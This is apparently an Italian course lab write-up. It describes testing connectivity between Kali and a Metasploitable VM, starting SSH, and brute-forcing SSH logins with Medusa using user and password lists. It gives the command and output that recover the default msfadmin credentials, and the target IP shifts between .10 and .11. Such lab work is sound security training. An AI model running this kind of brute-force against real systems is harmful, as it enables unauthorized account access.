

## BONUS - S6/L5

### **BONUS - CRACKING SSH - METASPLOITABLE**

- Prima di tutto testiamo la comunicazione tra Kali e Metasploitable eseguendo un **ping bidirezionale**:

```
(kali㉿kali)-[~]  
$ ping 192.168.1.10  
PING 192.168.1.10 (192.168.1.10) 56(84) bytes of data.  
64 bytes from 192.168.1.10: icmp_seq=1 ttl=64 time=0.383 ms  
64 bytes from 192.168.1.10: icmp_seq=2 ttl=64 time=0.178 ms
```

```
msfadmin@metasploitable:~$ ping 192.168.1.5  
PING 192.168.1.5 (192.168.1.5) 56(84) bytes of data.  
64 bytes from 192.168.1.5: icmp_seq=1 ttl=64 time=0.240 ms  
64 bytes from 192.168.1.5: icmp_seq=2 ttl=64 time=0.196 ms  
64 bytes from 192.168.1.5: icmp_seq=3 ttl=64 time=0.190 ms  
64 bytes from 192.168.1.5: icmp_seq=4 ttl=64 time=0.198 ms
```

- Ora avviamo il servizio **ssh** sia su Kali che su meta:

```
msfadmin@metasploitable:~$ sudo /etc/init.d/ssh start  
* Starting OpenBSD Secure Shell server sshd [ OK ]
```

```
(kali㉿kali)-[~]  
$ sudo service ssh start
```

- Per testare la connessione provo ad entrare con il comando **ssh msfadmin@192.168.1.10:**

```
(kali@kali)-[~]
$ ssh msfadmin@192.168.1.10
The authenticity of host '192.168.1.10 (192.168.1.10)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GciOLuVscegPXLQ0suPs+E9d/rrJB84rk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.10' (RSA) to the list of known hosts.
msfadmin@192.168.1.10's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Fri Jan 17 08:11:55 2025
msfadmin@metasploitable:~$
```

- Come si vede il servizio è funzionante.
- Dato che Metasploitable utilizza algoritmi obsoleti per ssh, utilizzo da Kali il tool **Medusa** che è compatibile con questi algoritmi.
- Invio il comando dove specifico le librerie da utilizzare e il protocollo ssh:

```
(kali@kali)-[~]
$ medusa -h 192.168.1.11 -U user.txt -P pass.txt -M ssh
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
```

- La sintassi è leggermente diversa da quella di Hydra ma la logica rimane la stessa.

- Questo è l'output:

```
ACCOUNT CHECK: [ssh] Host: 192.168.1.11 (1 of 1, 0 complete) User: msfadmin (1 of 6, 0 complete) Password: afhuifg (1 of 3 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.11 (1 of 1, 0 complete) User: msfadmin (1 of 6, 0 complete) Password: vwerwe (2 of 3 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.11 (1 of 1, 0 complete) User: msfadmin (1 of 6, 0 complete) Password: msfadmin (3 of 3 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.1.11 User: msfadmin Password: msfadmin [SUCCESS]
ACCOUNT CHECK: [ssh] Host: 192.168.1.11 (1 of 1, 0 complete) User: ciao (2 of 6, 1 complete) Password: afhuifg (1 of 3 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.11 (1 of 1, 0 complete) User: ciao (2 of 6, 1 complete) Password: vwerwe (2 of 3 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.11 (1 of 1, 0 complete) User: ciao (2 of 6, 1 complete) Password: msfadmin (3 of 3 complete)
```

- Come si vede ha trovato username e password corretti!!